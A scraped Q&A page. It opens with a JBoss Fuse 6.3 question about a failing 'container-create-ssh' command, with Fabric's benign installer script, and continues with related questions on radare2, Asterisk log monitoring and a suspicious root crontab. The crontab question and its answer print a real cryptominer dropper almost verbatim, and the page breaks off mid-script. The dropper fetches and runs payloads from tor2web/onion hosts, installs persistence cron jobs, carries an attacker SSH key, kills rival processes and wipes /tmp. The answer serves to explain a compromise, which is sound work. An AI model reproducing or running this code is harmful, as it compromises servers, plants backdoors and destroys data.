jboss-fuse-6.3.0.redhat-187 Fabric ssh script Error - Command not found: function - redhat

Created a Fabric Root
started ./fuse and then executed bellow command
fabric:create --wait-for-provisioning --verbose --clean --new-user admin --new-user-role admin --new-user-password admin --zookeeper-password zoopassword --resolver manualip --manual-ip 127.0.0.1
Started another fuse server ./fuse with ssh listening on 8102
Executed bellow command in the root console(fuse running at step 1 as root)
fabric:container-create-ssh --host 127.0.0.1 --user admin --password admin --port 8102 --new-user admin --new-user-password admin --resolver manualip --manual-ip 127.0.0.1 mqgateway
Then getting this Error :
--- command ---
#!/bin/bash function run { echo "Running: $*" ; $* ; rc=$? ; if [ "${rc}" -ne 0 ]; then echo "Command Failed:Error running installation script: $*" ; exit ${rc} ; fi ; }
function sudo_n { SUDO_NON_INTERACTIVE=`sudo -h | grep "\-n"` if [
-z "$SUDO_NON_INTERACTIVE" ]; then
sudo $* else
sudo -n $* fi }
function download { echo "Downloading: $1"; ret=`curl -C - --retry 10 --write-out %{http_code} --silent --output $2 $1`; if [ "${ret}"
-ne 200 ]; then
echo "Download failed with code: ${ret}";
rm $2; fi; }
function maven_download { echo "Downloading Maven Artifact with groupId: $2 artifactId: $3 and version: $4 from repository: $1"; export REPO=$1 export GROUP_ID=$2 export ARTIFACT_ID=$3 export VERSION=$4 export TYPE=$5 export TARGET_FILE=$ARTIFACT_ID-$VERSION.$TYPE
export GROUP_ID_PATH=`echo $GROUP_ID | sed 's/\./\//g'`
export ARTIFACT_BASE_URL=`echo $REPO$GROUP_ID_PATH/$ARTIFACT_ID/$VERSION/`
if [[ "$VERSION" == *SNAPSHOT* ]]; then
export ARTIFACT_URL=`curl --location -C - --retry 10 --silent $ARTIFACT_BASE_URL | grep href | grep zip\" | sed 's/^.*<a href="//' | sed 's/".*$//' | tail -1` else
export ARTIFACT_URL=`echo $REPO$GROUP_ID_PATH/$ARTIFACT_ID/$VERSION/$ARTIFACT_ID-$VERSION.$TYPE` fi
if [ -z "$ARTIFACT_URL" ]; then
export ARTIFACT_URL=`echo $REPO$GROUP_ID_PATH/$ARTIFACT_ID/$VERSION/$ARTIFACT_ID-$VERSION.$TYPE` fi
echo "Using URL: $ARTIFACT_URL" ret=`curl --location --write-out %{http_code} --silent --output $TARGET_FILE $ARTIFACT_URL` if [ "${ret}" -ne 200 ]; then
echo "Download failed with code: ${ret}"
rm $TARGET_FILE fi }
function update_pkgs() { if which dpkg &> /dev/null; then
sudo_n apt-get update elif which rpm &> /dev/null; then
sudo_n yum check-update fi }
function install_curl() { echo "Checking if curl is present." if which curl &> /dev/null; then
echo "Curl is already installed." else
echo "Installing curl."
if which dpkg &> /dev/null; then
sudo_n apt-get -y install curl
elif which rpm &> /dev/null; then
sudo_n yum -y install curl
fi fi }
function install_unzip() { echo "Checking if unzip is present." if which unzip &> /dev/null; then
echo "Unzip is already installed." else
echo "Installing unzip."
if which dpkg &> /dev/null; then
sudo_n apt-get -y install unzip
elif which rpm &> /dev/null; then
sudo_n yum -y install unzip
fi fi }
function install_openjdk_deb() { sudo_n apt-get -y install openjdk-7-jdk
# Try to set JAVA_HOME in a number of commonly used locations # Lifting JAVA_HOME detection from jclouds
for CANDIDATE in `ls -d /usr/lib/jvm/java-1.7.0-openjdk-* /usr/lib/jvm/java-7-openjdk-* /usr/lib/jvm/java-7-openjdk 2>&-`; do
if [ -n "$CANDIDATE" -a -x "$CANDIDATE/bin/java" ]; then
export JAVA_HOME=$CANDIDATE
break
fi
done
if [ -f /etc/profile ]; then
sudo_n "echo 'export JAVA_HOME=$JAVA_HOME' >> /etc/profile" fi if [ -f /etc/bashrc ]; then
sudo_n "echo 'export JAVA_HOME=$JAVA_HOME' >> /etc/bashrc" fi if [ -f ~root/.bashrc ]; then
sudo_n "echo 'export JAVA_HOME=$JAVA_HOME' >> ~root/.bashrc" fi if [ -f /etc/skel/.bashrc ]; then
sudo_n "echo 'export JAVA_HOME=$JAVA_HOME' >> /etc/skel/.bashrc" fi if [ -f "$DEFAULT_HOME/$NEW_USER" ]; then
sudo_n "echo 'export JAVA_HOME=$JAVA_HOME' >> $DEFAULT_HOME/$NEW_USER" fi
sudo_n update-alternatives --install /usr/bin/java java $JAVA_HOME/bin/java 17000 sudo_n update-alternatives --set java $JAVA_HOME/bin/java java -version }
function install_openjdk_rpm() { sudo_n yum -y install java-1.7.0-openjdk-devel
# Try to set JAVA_HOME in a number of commonly used locations # Lifting JAVA_HOME detection from jclouds
for CANDIDATE in `ls -d /usr/lib/jvm/java-1.7.0-openjdk-* /usr/lib/jvm/java-7-openjdk-* /usr/lib/jvm/java-7-openjdk 2>&-`; do
if [ -n "$CANDIDATE" -a -x "$CANDIDATE/bin/java" ]; then
export JAVA_HOME=$CANDIDATE
break
fi
done
if [ -f /etc/profile ]; then
sudo_n "echo 'export JAVA_HOME=$JAVA_HOME' >> /etc/profile" fi if [ -f /etc/bashrc ]; then
sudo_n "echo 'export JAVA_HOME=$JAVA_HOME' >> /etc/bashrc" fi if [ -f ~root/.bashrc ]; then
sudo_n "echo 'export JAVA_HOME=$JAVA_HOME' >> ~root/.bashrc" fi if [ -f /etc/skel/.bashrc ]; then
sudo_n "echo 'export JAVA_HOME=$JAVA_HOME' >> /etc/skel/.bashrc" fi if [ -f "$DEFAULT_HOME/$NEW_USER" ]; then
sudo_n "echo 'export JAVA_HOME=$JAVA_HOME' >> $DEFAULT_HOME/$NEW_USER" fi
sudo_n alternatives --install /usr/bin/java java $JAVA_HOME/bin/java 17000 sudo_n alternatives --set java $JAVA_HOME/bin/java java
-version }
function install_openjdk() {
echo "Checking if java is present."
ARCH=`uname -m`
JAVA_VERSION=`java -version 2>&1`
if [[ $JAVA_VERSION == *1.7* ]]; then
echo "Java is already installed."
else
echo "Installing java."
if which dpkg &> /dev/null; then
install_openjdk_deb
elif which rpm &> /dev/null; then
install_openjdk_rpm
fi
fi }
function validate_requirements() { if ! which curl &> /dev/null; then
echo "Command Failed:Curl is not installed."; fi if ! which java &> /dev/null; then
echo "Command Failed:Java is not installed.";
exit -1; else
check_java_version fi }
function check_java_version() { JAVA_VERSION=`java -version 2>&1 | grep "[java|openjdk] version" | awk '{print $3}' | tr -d \" | awk '{split($0, array, ".")} END{print array[2]}'` if [ $JAVA_VERSION
-ge 6 ]; then
echo "Java version is greater than 1.6." else
echo "Command Failed:Unsupported java version: 1.$JAVA_VERSION.x found."
exit -1; fi }
function exit_if_not_exists() { if [ ! -f $1 ]; then
echo "Command Failed:Could not find file $1";
exit -1; fi local zipFile="$1" local size="$(du $zipFile | awk '{ print $1}')" if [ $size -lt 100 ]; then
echo "Command Failed: Zip archive is empty. Check $1";
exit -1; fi
}
function copy_node_metadata() { echo "Copying metadata for container: $1"; TARGET_PATH="./fabric/import/fabric/registry/containers/config/$1/" mkdir -p $TARGET_PATH ENCODED_METADATA=$2 echo $ENCODED_METADATA > ./fabric/import/fabric/registry/containers/config/$1/metadata.cfg }
function karaf_check() { KARAF_HOME=$1 INSTANCES_FILE=$KARAF_HOME/instances/instance.properties for i in {1..5};
do
if [ ! -f $INSTANCES_FILE ]; then
sleep 1
else
break
fi
done if [ -f $INSTANCES_FILE ]; then
for j in {1..5};
do
PID=`cat $INSTANCES_FILE | grep "item.0.pid" | awk -F "=" '{print $2}'`
if [ "$PID" = "" ]; then
sleep 1
else
break
fi
done
if ps -p $PID > /dev/null; then
echo "Fabric is started successfully"
else
echo "Command Failed: Karaf process ($PID) is not running"
fi else
echo "Command Failed:Could not find Karaf instance.properties" fi }
function replace_in_file { sed "s/$1/$2/g" $3 > $3.tmp rm $3 mv $3.tmp $3 }
function replace_property_value { echo "Setting value $2 for key $1 in $3" sed "s/$1[ \t]*=.*/$1 = $2/g" $3 > $3.tmp rm $3 mv $3.tmp $3 }
function configure_hostnames() { CLOUD_PROVIDER=$1 case $CLOUD_PROVIDER in
openstack-nova | ec2 | aws-ec2 )
echo "Resolving public hostname for ec2 node"
export PUBLIC_HOSTNAME=`curl http://169.254.169.254/latest/meta-data/public-hostname | sed 's/ /_/g'`
echo PUBLIC_HOSTNAME
;;
cloudservers | cloudservers-uk | cloudservers-us )
echo "Resovling public hostname for rackspace node"
PRIVATE_IP=`/sbin/ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'`
export PUBLIC_HOSTNAME=`echo $PRIVATE_IP | tr . -`.static.cloud-ips.com
;; esac if [ ! -z ${PUBLIC_HOSTNAME} ]; then
LOOKUP_ADDRESS=`nslookup $PUBLIC_HOSTNAME > /dev/null | grep Address | tail -n 1 | cut -d " " -f 3 | sed 's/ /_/g'`
echo "Found hostname: $PUBLIC_HOSTNAME matching with address: $LOOKUP_ADDRESS"
echo "publichostname=$PUBLIC_HOSTNAME" >> etc/system.properties
cat etc/system.properties | grep -v 'local.resolver=' | grep -v 'global.resolver=' > etc/system.properties.tmp
mv etc/system.properties.tmp etc/system.properties
echo "local.resolver=publichostname" >> etc/system.properties
echo "global.resolver=publichostname" >> etc/system.properties
echo $PUBLIC_HOSTNAME > hostname
sudo_n cp hostname /etc/
export JAVA_OPTS="-Djava.rmi.server.hostname=$PUBLIC_HOSTNAME $JAVA_OPTS"
echo "RESOLVER OVERRIDE:publichostname" fi }
function find_free_port() { START_PORT=$1 END_PORT=$2 for port in `eval echo {$START_PORT..$END_PORT}`;do
if [[ $OSTYPE == darwin* ]]; then
# macosx has a different syntax for netstat
netstat -atp tcp | tr -s ' ' ' '| cut -d ' ' -f 4 | grep ":$port" > /dev/null 2>&1 && continue || echo $port && break;
else
netstat -utan | tr -s ' ' ' '| cut -d ' ' -f 4 | grep ":$port" > /dev/null 2>&1 && continue || echo $port && break;
fi done }
function wait_for_port() {
PORT=$1
for i in {1..5};
do
if [[ $OSTYPE == darwin* ]]; then
# macosx has a different syntax for netstat
netstat -an -ptcp | grep LISTEN | tr -s ' ' ' '| cut -d ' ' -f 4 | grep ":$PORT" > /dev/null 2>&1 && break;
else
netstat -lnt | tr -s ' ' ' '| cut -d ' ' -f 4 | grep ":$PORT" > /dev/null 2>&1 && break;
fi
sleep 5;
done
return 0 }
function extract_zip { if ! which unzip &> /dev/null; then
jar xf $1 else
unzip -o $1 fi }
function generate_ssh_keys { if [ ! -f ~/.ssh/id_rsa ]; then
mkdir -p ~/.ssh
ssh-keygen -t rsa -N "" -f ~/.ssh/id_rsa fi }
run mkdir -p ~/containers/ run cd ~/containers/ run mkdir -p mqgateway run cd mqgateway validate_requirements cp /tmp/fabric8-karaf-1.2.0.redhat-630187.zip fabric8-karaf-1.2.0.redhat-630187.zip if ! jar xf fabric8-karaf-1.2.0.redhat-630187.zip &> /dev/null; then rm fabric8-karaf-1.2.0.redhat-630187.zip ; fi if [ ! -f fabric8-karaf-1.2.0.redhat-630187.zip ] && [ ! -s fabric8-karaf-1.2.0.redhat-630187.zip ] ; then maven_download http://127.0.0.1:8181/maven/download/ io.fabric8 fabric8-karaf
1.2.0.redhat-630187 zip exit_if_not_exists fabric8-karaf-1.2.0.redhat-630187.zip run extract_zip fabric8-karaf-1.2.0.redhat-630187.zip run cd `ls -l | grep fabric8-karaf | grep ^d | awk '{ print $NF }' | sort -n | head -1` run mkdir -p system/io/fabric8/fabric8-karaf/1.2.0.redhat-630187 run cp ../fabric8-karaf-1.2.0.redhat-630187.zip system/io/fabric8/fabric8-karaf/1.2.0.redhat-630187/ run rm ../fabric8-karaf-1.2.0.redhat-630187.zip run chmod +x bin/* cat >> etc/system.properties <<'END_OF_FILE' global.resolver=localhostname END_OF_FILE replace_property_value "karaf.name" "mqgateway" etc/system.properties replace_property_value "importDir" "fabric" etc/io.fabric8.datastore.cfg replace_property_value "felix.fileinstall.filename" "file:\/C:\/Fabric\/root\/etc\/io.fabric8.datastore.cfg" etc/io.fabric8.datastore.cfg replace_property_value "component.name" "io.fabric8.datastore" etc/io.fabric8.datastore.cfg replace_property_value "gitRemotePollInterval" "60000" etc/io.fabric8.datastore.cfg replace_property_value "service.pid" "io.fabric8.datastore" etc/io.fabric8.datastore.cfg BIND_ADDRESS=0.0.0.0 SSH_PORT="`find_free_port 8101 65535`" RMI_REGISTRY_PORT="`find_free_port 1099 65535`" RMI_SERVER_PORT="`find_free_port 44444 65535`" JMX_SERVER_URL="service:jmx:rmi:\/\/${BIND_ADDRESS}:${RMI_SERVER_PORT}\/jndi\/rmi:\/\/${BIND_ADDRESS}:${RMI_REGISTRY_PORT}\/karaf-mqgateway" HTTP_PORT="`find_free_port 8181 65535`" replace_property_value "sshPort" "$SSH_PORT" etc/org.apache.karaf.shell.cfg replace_property_value "sshHost" "$BIND_ADDRESS" etc/org.apache.karaf.shell.cfg replace_property_value "rmiRegistryPort" "$RMI_REGISTRY_PORT" etc/org.apache.karaf.management.cfg replace_property_value "rmiServerPort" "$RMI_SERVER_PORT" etc/org.apache.karaf.management.cfg replace_property_value "rmiServerHost" "$BIND_ADDRESS" etc/org.apache.karaf.management.cfg replace_property_value "rmiRegistryHost" "$BIND_ADDRESS" etc/org.apache.karaf.management.cfg replace_property_value "org.osgi.service.http.port" "$HTTP_PORT" etc/org.ops4j.pax.web.cfg replace_in_file "8181" "$HTTP_PORT" etc/jetty.xml cat >> etc/system.properties <<'END_OF_FILE' minimum.port=0 END_OF_FILE cat >> etc/system.properties <<'END_OF_FILE' maximum.port=65535 END_OF_FILE cat >> etc/system.properties <<'END_OF_FILE'
END_OF_FILE cat >> etc/system.properties <<'END_OF_FILE' preferred.network.address=127.0.0.1 END_OF_FILE cat >> etc/system.properties <<'END_OF_FILE' zookeeper.url = 127.0.0.1:2181 END_OF_FILE cat >> etc/system.properties <<'END_OF_FILE' zookeeper.password = ZKENC=em9vcGFzc3dvcmQ= END_OF_FILE cat >> etc/system.properties <<'END_OF_FILE' zookeeper.password.encode = true END_OF_FILE cat >> etc/system.properties <<'END_OF_FILE' agent.auto.start=true END_OF_FILE sed 's/featuresBoot=/&fabric-agent,fabric-git,/' etc/org.apache.karaf.features.cfg > etc/org.apache.karaf.features.cfg.tmp mv etc/org.apache.karaf.features.cfg.tmp etc/org.apache.karaf.features.cfg sed 's/repositories=/&http:\/\/127.0.0.1:8181\/maven\/download\/,/' etc/org.ops4j.pax.url.mvn.cfg > etc/org.ops4j.pax.url.mvn.cfg.tmp mv etc/org.ops4j.pax.url.mvn.cfg.tmp etc/org.ops4j.pax.url.mvn.cfg generate_ssh_keys configure_hostnames none cat > bin/setenv <<'END_OF_FILE' export JAVA_OPTS=" -XX:+UnlockDiagnosticVMOptions
-XX:+UnsyncloadClass -server"
END_OF_FILE nohup bin/start & karaf_check `pwd` wait_for_port $SSH_PORT wait_for_port $RMI_REGISTRY_PORT
--- output --- Command not found: function
--- error ---
------

SSH containers should be created on Remote machines.An SSH container is just a Fabric container that is running on a remote host on your local network,
where that host is accessible through the SSH protocol. This section describes some basic administration tasks for these SSH containers.
Please refer https://access.redhat.com/documentation/en-us/red_hat_jboss_fuse/6.3/html/fabric_guide/chapter-fabric_container#ContSSH
If you want to create containers on the same machine (local host) create child containers
https://access.redhat.com/documentation/en-us/red_hat_jboss_fuse/6.3/html/fabric_guide/chapter-fabric_container#ContChild

Creating ssh container
fabric:container-create-ssh --host remotehost --user user1 --password pass1 --jvm-opts="-Djava.rmi.server.hostname=remotehost" --profile fabric fabric-eu03

Related

radare2 -c and -i options do not execute more than one command

All commands below do not execute psz # [rax]. Why?
script=$(mktemp)
cat > $script << EOF
dcu 0x00404d29
psz # [rax]
EOF
r2 -d -R input="a" -i $script exatlon_unpacked
r2 -d -R input="a" -c "dcu 0x00404d29; psz # [rax]" exatlon_unpacked
r2 -d -R input="a" -c 'dcu 0x00404d29' -c 'psz # [rax]' exatlon_unpacked

problems while reading log file with tail -n0 -F

i am monitoring the asterisk log file for peers that get offline.
the if part is working correct, but the sed command is not executed in the else part, although the echo command works. What do i need to change
tail -n0 -F /var/log/asterisk/messages | \
while read LINE
do
if echo "$LINE" | /bin/grep -q "is now UNREACHABLE!"
then
EXTEN=$(echo $LINE | /bin/grep -o -P "(?<=\').*(?=\')")
echo "$EXTEN is now UNREACHABLE!"
CALLERID=$(/bin/sed -n '/^\['"$EXTEN"'\]/,/^\[.*\]/{/^callerid*/p}' "$SIP" | /usr/bin/awk -F'=' '{ print $2 }')
if .......
then
.......
fi
elif echo "$LINE" | /bin/grep -q "is now REACHABLE!"
then
EXTEN=$(echo $LINE | /bin/grep -o -P "(?<=\').*(?=\')")
echo "$EXTEN is now REACHABLE!"
if /bin/grep -qi "^$EXTEN;" $OFFLINE; then
/bin/sed -i '/^$EXTEN;/d' $OFFLINE
fi
fi
done
You have a quoting problem - you've used single quotes when the string includes a shell variable:
if /bin/grep -qi "^$EXTEN;" $OFFLINE; then
/bin/sed -i '/^$EXTEN;/d' $OFFLINE
fi
Try using double quotes instead:
if /bin/grep -qi "^$EXTEN;" $OFFLINE; then
/bin/sed -i "/^$EXTEN;/d" $OFFLINE
fi

What does this entry in my server's crontab do?

I was getting a bunch of emails from cron jobs that looked really weird so I went in to investigate.
I found a weird crontab entry that I have pasted below.
At first I tried to run:
crontab -u root -l
That displayed the big cron job so I immediately deleted the entry.
*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget#gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; (${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /root/.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /root/.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /root/.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /root/.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /root/.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /root/.cache/.ntp) && chmod +x /root/.cache/.ntp && /bin/sh /root/.cache/.ntp
I believe that the cron emails will now stop but I'd like to know what this entry was doing.
And how often it was doing it.
In short, your server has been hacked and hackers are running a crypto miner on it. This is bad.
This is part of a massive malware attack wave that is taking advantage of the new Exim 0day (the malware may was already used before with a Zimbra 0day).
here's the "an7kmd2wp4xo7hpr.onion.sh/src/ldm" file content :
#!/bin/sh
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
RHOST="https://an7kmd2wp4xo7hpr"
TOR1=".tor2web.su/"
TOR2=".tor2web.io/"
TOR3=".onion.sh/"
RPATH1='src/ldm'
#LPATH="${HOME-/tmp}/.cache/"
TIMEOUT="75"
CTIMEOUT="22"
COPTS=" -fsSLk --retry 2 --connect-timeout ${CTIMEOUT} --max-time ${TIMEOUT} "
WOPTS=" --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=${CTIMEOUT} --timeout=${TIMEOUT} "
tbin=$(command -v passwd); bpath=$(dirname "${tbin}")
curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi
wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q ".wgetrc'-style command" && wget="$f" && break; done; fi; fi
#CHKCURL='curl="curl "; wget="wget "; if [ "$(whoami)" = "root" ]; then if [ $(command -v curl|wc -l) -eq 0 ]; then curl=$(ls /usr/bin|grep -i url|head -n 1); fi; if [ -z ${curl} ]; then curl="echo "; fi; if [ $(command -v wget|wc -l) -eq 0 ]; then wget=$(ls /usr/bin|grep -i wget|head -n 1); fi; if [ -z ${wget} ]; then wget="echo "; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; fi; '
CHKCURL='tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget#gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; '
LBIN8="kthrotlds"
null=' >/dev/null 2>&1'
sudoer=1
sudo=''
if [ "$(whoami)" != "root" ]; then
sudo="sudo "
timeout 1 sudo echo 'kthreadd' 2>/dev/null && sudoer=1||{ sudo=''; sudoer=0; }
fi
if [ $(command -v nohup|wc -l) -ne 0 ] && [ "$1" != "-n" ]; then
${sudo} chmod +x "$0"
nohup ${sudo} "$0" -n >/dev/null 2>&1 &
echo 'Sent!'
exit $?
fi
rand=$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c $(shuf -i 4-16 -n 1) ; echo ''); if [ -z ${rand} ]; then rand='.tmp'; fi
echo "${rand}" > "$(pwd)/.${rand}" 2>/dev/null && LPATH="$(pwd)/.cache/"; rm -f "$(pwd)/.${rand}" >/dev/null 2>&1
echo "${rand}" > "/tmp/.${rand}" 2>/dev/null && LPATH="/tmp/.cache/"; rm -f "/tmp/.${rand}" >/dev/null 2>&1
echo "${rand}" > "/usr/local/bin/.${rand}" 2>/dev/null && LPATH="/usr/local/bin/.cache/"; rm -f "/usr/local/bin/.${rand}" >/dev/null 2>&1
echo "${rand}" > "${HOME}/.${rand}" 2>/dev/null && LPATH="${HOME}/.cache/"; rm -f "${HOME}/.${rand}" >/dev/null 2>&1
mkdir -p ${LPATH} >/dev/null 2>&1
${sudo} chattr -i ${LPATH} >/dev/null 2>&1; chmod 755 ${LPATH} >/dev/null 2>&1; ${sudo} chattr +a ${LPATH} >/dev/null 2>&1
C1="*/9 * * * * ${CHKCURL} ("'${curl}'" ${COPTS} ${RHOST}${TOR1}${RPATH1} -o ${LPATH}.ntp||"'${curl}'" ${COPTS} ${RHOST}${TOR2}${RPATH1} -o ${LPATH}.ntp||"'${curl}'" ${COPTS} ${RHOST}${TOR3}${RPATH1} -o ${LPATH}.ntp||"'${wget}'" ${WOPTS} ${RHOST}${TOR1}${RPATH1} -O ${LPATH}.ntp||"'${wget}'" ${WOPTS} ${RHOST}${TOR2}${RPATH1} -O ${LPATH}.ntp||"'${wget}'" ${WOPTS} ${RHOST}${TOR3}${RPATH1} -O ${LPATH}.ntp) && chmod +x ${LPATH}.ntp && $(command -v sh) ${LPATH}.ntp"
C2="*/11 * * * * root ${CHKCURL} ("'${curl}'" ${COPTS} ${RHOST}${TOR1}${RPATH1} -o ${LPATH}.ntp||"'${curl}'" ${COPTS} ${RHOST}${TOR2}${RPATH1} -o ${LPATH}.ntp||"'${curl}'" ${COPTS} ${RHOST}${TOR3}${RPATH1} -o ${LPATH}.ntp||"'${wget}'" ${WOPTS} ${RHOST}${TOR1}${RPATH1} -O ${LPATH}.ntp||"'${wget}'" ${WOPTS} ${RHOST}${TOR2}${RPATH1} -O ${LPATH}.ntp||"'${wget}'" ${WOPTS} ${RHOST}${TOR3}${RPATH1} -O ${LPATH}.ntp) && chmod +x ${LPATH}.ntp && $(command -v sh) ${LPATH}.ntp"
skey="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1Sdr0tIIL8yPhKTLzVMnRKj1zzGqtR4tKpM2bfBEx+AHyvBL8jDZDJ6fuVwEB+aZ8bl/pA5qhFWRRWhONLnLN9RWFx/880msXITwOXjCT3Qa6VpAFPPMazJpbppIg+LTkbOEjdDHvdZ8RhEt7tTXc2DoTDcs73EeepZbJmDFP8TCY7hwgLi0XcG8YHkDFoKFUhvSHPkzAsQd9hyOWaI1taLX2VZHAk8rOaYqaRG3URWH3hZvk8Hcgggm2q/IQQa9VLlX4cSM4SifM/ZNbLYAJhH1x3ZgscliZVmjB55wZWRL5oOZztOKJT2oczUuhDHM1qoUJjnxopqtZ5DrA76WH user#localhost"
if [ "$(whoami)" != "root" ]; then sshdir="${HOME}/.ssh"; else sshdir='/root/.ssh'; fi
${sudo} rm -f /tmp/* >/dev/null 2>&1
${sudo} rm -f /tmp/.* >/dev/null 2>&1
${sudo} ps ax|grep -v grep|grep -v defunct|grep -v "${LBIN8}"|grep -v ".ntp"|grep -i "nicehash\|linuxs\|linuxl\|Linux\|crawler.weibo\|44444\|cryptonight\|stratum\|gpg-daemon\|jobs.flu.cc\|nmap\|cranberry\|start.sh\|watch.sh\|krun.sh\|killTop.sh\|cpuminer\|/60009\|ssh_deny.sh\|clean.sh\|\./over\|mrx1\|redisscan\|ebscan\|redis-cli\|barad_agent\|\.sr0\|clay\|udevs\|\.sshd\|/tmp/init"|uniq| while read pid _; do if [ ${pid} -gt 301 ] && [ "$pid" != "$$" ]; then ${sudo} kill -9 "${pid}" >/dev/null 2>&1; ${sudo} kill -TERM -"${pid}" >/dev/null 2>&1; fi; done
${sudo} ps ax|grep -v grep|grep -v defunct|grep -v "bash"|grep -v "ssh"|grep -v ".ntp"|grep -i " sh\|kworkerds\|56416\|xmr\|xig\|ddgs\|minerd\|hashvault\|geqn\|.kthreadd\|httpdz\|kworker\|config.json\|gwjyhs.com\|pastebin.com\|sobot.com\|kerbero"|uniq| while read pid _; do if [ ${pid} -gt 301 ] && [ "$pid" != "$$" ]; then ${sudo} kill -9 "${pid}" >/dev/null 2>&1; ${sudo} kill -TERM -"${pid}" >/dev/null 2>&1; fi; done
hload=$(${sudo} ps aux|grep -v grep|grep -v defunct|grep -v "${LBIN8}"|grep -vi 'java '|grep -vi 'jenkins'|awk '{if($3>=54.0) print $11}'|head -n 1)
[ "${hload}" != "" ] && { ${sudo} ps ax|grep -v grep|grep -v defunct|grep -v "${LBIN8}"|grep "xmr\|${hload}"|while read pid _; do if [ ${pid} -gt 301 ] && [ "$pid" != "$$" ]; then ${sudo} kill -9 "${pid}" >/dev/null 2>&1; fi; done; }
#${sudo} pkill sleep >/dev/null 2>&1
#loop=$(ps -eo ppid,comm|grep -v grep|grep -i ' sleep'|awk '{print $1}'|uniq)
#if [ "${loop}" != "" ]; then for p in ${loop}; do if [ $p -gt 301 ] && [ $p -ne $$ ] && [ $p -ne $PPID ]; then $sudo kill -9 $p; $sudo pkill -P $p; fi; done; fi
hload2=$(${sudo} ps aux|grep -v grep|grep -v defunct|grep -v python|grep -v "${LBIN8}"|awk '{if($3>=0.0) print $2}'|uniq)
if [ "${hload2}" != "" ]; then
for p in ${hload2}; do
xm=''
if [ $p -gt 301 ]; then
if [ -f /proc/${p}/exe ]; then
xmf="$(readlink /proc/${p}/cwd 2>/dev/null)/$(cat /proc/${p}/comm 2>/dev/null)"
xm=$(grep -i "xmr\|cryptonight\|hashrate" /proc/${p}/exe 2>/dev/null)
elif [ -f /proc/${p}/comm ]; then
xmf="$(readlink /proc/${p}/cwd 2>/dev/null)/$(cat /proc/${p}/comm 2>/dev/null)"
xm=$(grep -i "xmr\|cryptonight\|hashrate" ${xmf} 2>/dev/null)
fi
if [ -n "${xm}" ]; then ${sudo} kill -9 ${p} >/dev/null 2>&1; ${sudo} chattr -i -a "${xmf}" >/dev/null 2>&1; ${sudo} rm -rf "${xmf}" >/dev/null 2>&1; fi
fi
done
fi
others=$(${sudo} ps aux|grep -v grep|grep -v defunct|grep -v "${LBIN8}"|awk '{if($3>=0.0) print $11}')
if [ "${others}" != "" ]; then
for o in ${others}; do
okill=0
if [ -f "${o}" ]; then
if grep -qi 'ddgs' "${o}" 2>/dev/null && grep -qi 'slave' "${o}" 2>/dev/null; then okill=1; fi
if grep -qi 'kerberods' "${o}" 2>/dev/null || grep -qi 'khugepageds' "${o}" 2>/dev/null; then okill=1; fi
if [ ${okill} -eq 1 ]; then
${sudo} ps ax|grep -v grep|grep -v defunct|grep "${o}"|while read pid _; do ${sudo} kill -9 "$pid" >/dev/null 2>&1; done
${sudo} chattr -i -a "${o}" >/dev/null 2>&1; rm -rf "${o}" >/dev/null 2>&1
fi
fi
done
fi
net=$(${curl} -fsSLk --max-time 6 ipinfo.io/ip)
if echo "${net}"|grep -q 'Could not resolve proxy'; then
unset http_proxy; unset HTTP_PROXY; unset https_proxy; unset HTTPS_PROXY
